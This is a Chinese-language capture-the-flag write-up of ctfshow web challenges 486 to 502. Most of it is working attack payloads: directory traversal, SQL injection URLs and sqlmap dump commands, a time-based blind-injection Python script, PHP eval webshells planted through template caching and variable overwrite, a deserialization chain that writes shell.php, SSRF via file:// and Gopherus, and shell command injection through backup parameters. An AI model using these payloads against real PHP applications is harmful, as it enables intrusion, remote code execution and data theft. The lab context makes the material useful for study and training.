Web486

  • 进去后观察url,将action的值去掉访问,发现存在目录穿越
  • action=../flag即可得到flag

Web487

  • 进入依旧是观察利用目录穿越先看源码

    url/index.php?action=../index
    //查看index源码,发现sql注入
    url/index.php?action=../render/db_class
    //查看sql配置,使用的是ctfshow数据库

  • 先看sql注入点

    url/index.php?action=check&username=') union select 1 --+&password=1

  • 发现存在注入点,使用sqlmap

    sqlmap -u "http://1217bb90-d275-4712-ba92-53335c978f85.challenge.ctf.show/index.php?action=check&username=1&password=1" --form --dbms=mysql

  • 一路甩下去,最终的命令

    sqlmap -u "http://1217bb90-d275-4712-ba92-53335c978f85.challenge.ctf.show/index.php?action=check&username=1&password=1" --form --dbms=mysql --batch -D ctfshow -T flag -C flag --dump

  • 延时注入方法: https://www.bilibili.com/video/BV1jf4y1A75p?p=2

web488

先说解

  • 访问下面的url进行写马

    url/index.php?action=check&username=<?php eval($_POST[cmd]); ?>&password=1

  • 访问url/cache/cb5e100e5a9a3e7f6d1fd97512215282.php 即可解题

原理

  • 通过url/index.php?action=../index 来依次查看源代码,把所需的源码都看一遍
  • 从index.php开始,会将接收的username和password带入sql进行查询(这里貌似注入不了),然后判断是否查询到,这边应该是没有查询到,返回false。进入templateUtil类的render方法
  • 进入render方法,调用class_cache.php中的cache类中的cache_exists方法来检查cache缓存文件是否存在,存在不执行写入,如果不存在进入else进行写入操作
  • 首先读取templates下面的模板文件,然后使用tenplateUtil类中的shade方法,将读取的模板文件和username带入。将error中的username给替换为value(就是我们输入的username)。
  • 然后写入的东西会放到cache/cb5e100e5a9a3e7f6d1fd97512215282.php(error加密后的md5),我们可以给username传入小马,然后访问梭哈即可

Web489

解法一

payload

url/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select 1;
url/cache/6a992d5529f459a44fee58c733255e86.php

原理

根据index源码,error不再写入,但是查询成功可以写入,还是写入的username。而且新增了一个extract($_GET),变量覆盖,即你get输入什么,就会覆盖,在这里我们完全可以在url栏输入sql=select 1;让sql语句成功,然后进入if写入一句话

Web490

payload

url/index.php?action=check&username=' union select 'eval($_POST[cmd])' --+&password=1
url/cache/6a992d5529f459a44fee58c733255e86.php

原理

  • 通过url/index.php?action=../index,依次查看文件的源码
  • index如果sql成功执行,会使用templateUtil类中的render方法,传入index和我们输入的username。
  • render/render_class,进入方法后,会调用cache类中的get_cache方法,会检测有没有在cache有没有创建md5(index)文件,没有的话,执行else
  • 先读取index文件,然后执行templateUtil 类中的shade方法,会将我们输入的username给写入到md5(index)文件里面,而且预留好了<?= ?>
  • 综上,只需要传入一句话马去掉前后标签即可

Web491

payload
跑延时注入

import requests

string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-.@"
url = "http://ed5041a1-3e82-4c17-9d29-0d5987b26f8c.challenge.ctf.show/index.php?action=check&username="
payload = ""
end = "&password=1"


def get_columns():
    ret = ""
    for x in range(1, 50):
        for y in string:
            payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(
                x, y)
            try:
                req = requests.get(url + payload + end, timeout=2)
            except:
                ret += y
                print(ret)


if __name__ == '__main__':
    get_columns()

原理
flag在根目录,所以用读取文件盲注

Web492

payload

url/index.php?action=check&username=&password=2&user[username]=--> <?=eval($_POST[cmd])?> <!--  
url/cache/6a992d5529f459a44fee58c733255e86.php

Web493-495

通过目录穿越查看index.php关键代码

    //如果没有action参数,会检测有没有cookie,如果有,就反序列化,反序列化成功后,就会开始zhixing
    $action=$_GET['action'];
    if(!isset($action)){
        if(isset($_COOKIE['user'])){
            $c=$_COOKIE['user'];
            $user=unserialize($c);
            if($user){
                templateUtil::render('index');
            }else{
                header('location:index.php?action=login');
            }
        }else{
            header('location:index.php?action=login');
        }
        die();    
    }
* **/render/db_class文件关键写马代码**
class db{
    
    public $db;
    public $log;

    public function __construct(){
        $this->log=new dbLog();
          //实例化dbLog这个方法
    }
}
class dbLog{
    public $content;
    public $log;
        //反序列化的时候可以初始化值
    public function __destruct(){
                //销毁的时候进行写文件操作
        file_put_contents($this->log, $this->content,FILE_APPEND);
    }
}

解决方法

<?php


error_reporting(0);
class db{
    
    public $log;
    public function __construct(){
        $this->log=new dbLog();
    }

}
class dbLog{
    public $content='<?=eval($_POST[cmd])?>';
    public $log='/var/www/html/shell.php';

}

echo urlencode(serialize(new db()));
?>

将输出的内容写入cookie,名称user,值是上面输出的值。然后访问url/index.php即可生成木马。
访问url/shell.php即可

Web497(SSRF)

payload
在index,post传参 username=' || 1 #&password=1 进入后台
访问url/api/admin_edit.php
post传参, nickname=sibei&avatar=file:///flag
返回个人资料,在图片那边查看源代码,是base64,然后解码即可获取flag

原理
进入后台不讲了,Sql注入
进入后台发现可以修改头像,用的是链接地址,直接修改不可以,
通过url/index.php?action=../api/admin_edit 读取源码

extract($_POST);//变量覆盖
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
//需要nickname和avatar

直接访问url/api/admin_edit
并且通过POST,进行传参,使用file://协议

Web498

payload
在index,post传参 username=' || 1 #&password=1 进入后台
使用https://github.com/tarunkant/Gopherus 工具
将生成的payload填入头像并修改,提交后访问url/shell.php
Gopherus

Web499

Payload
在index,post传参 username=' || 1 #&password=1 进入后台
url/index.php?action=view&page=admin_settings
任意一个框输入php代码 config/settings.php
访问url/config/settings.php

Web500

在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup
存在变量覆盖

extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);

直接可以用;拼接命令
访问url/api/admin_db_backup.php
POST传入,db_path=;cat /f* > /var/www/html/test.html
访问url/test.html即可

Web501

在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup

extract($_POST);
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);

虽然固定了格式,但还是可以绕过
url/api/admin_db_backup.php
post传入 db_format=zip;tac /f* > /var/www/html/1.html

Web502

在index,post传参 username=' || 1 #&password=1 进入后台
查看源码 url/index.php?action=../api/admin_db_backup

extract($_POST);
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);

db_format过滤了,但是pre没有
url/api/admin_db_backup.php
post传入 db_format=zip&pre=1;tac /f* > /var/www/html/1.html;1

最后修改:2022 年 07 月 17 日
如果觉得我的文章对你有用,请随意赞赏